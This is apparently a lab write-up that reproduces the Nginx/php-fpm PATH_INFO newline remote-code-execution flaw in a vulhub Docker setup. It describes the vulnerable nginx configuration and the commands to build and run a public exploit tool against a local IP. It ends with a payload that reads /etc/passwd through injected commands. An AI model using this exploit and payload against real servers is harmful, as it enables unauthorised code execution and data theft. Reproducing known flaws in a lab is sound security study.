Vulnerability Principle#
On Nginx, fastcgi_split_path_info processes requests with %0a, which causes PATH_INFO to be empty due to encountering a newline character \n. However, php-fpm has a logical flaw when handling an empty PATH_INFO. An attacker can carefully construct and exploit this to achieve remote code execution. This vulnerability requires specific configuration in nginx.conf to be triggered. The specific configuration is as follows:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
An attacker can use a newline character (%0a) to corrupt the Regexp in the fastcgi_split_path_info directive. The corrupted Regexp leads to an empty PATH_INFO, thereby triggering the vulnerability.
Vulnerability Reproduction#
The machine used for this experiment is: Kali, with a docker image created for vulnhub. First, install vulhub, then navigate to the corresponding vulnerability directory and execute the command to create the docker image. The command is:
docker-compose build docker-compose up -d
Use docker-compose config to view the configuration of the vulnerability.
Next, access the page:
192.168.19.128:8080 (192.168.19.128 is the IP of the Kali virtual machine)
Download and install the exploit tool using the publicly available POC on GitHub to obtain the installation package:
git clone https://github.com/neex/phuip-fpizdam.git
This tool needs to be compiled and run in a Go language environment, so Kali must have the Go language environment installed.
After entering the directory, execute the command:
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
Thus, the tool is installed.
Next, reproduce the vulnerability:
Execute the command in this directory:
go run . "http://192.168.19.128:8080/index.php"
Then, you can use parameter a to pass execution commands on the page http://192.168.19.128:8080. For example, to view the contents of the /etc/passwd file, you can construct the following payload:
http://192.168.19.128:8080/?a=cat%20/etc/passwd
The vulnerability has been successfully reproduced.
The installation of the Go environment on Kali can refer to this link:
https://blog.csdn.net/WHQ556677/article/details/122283509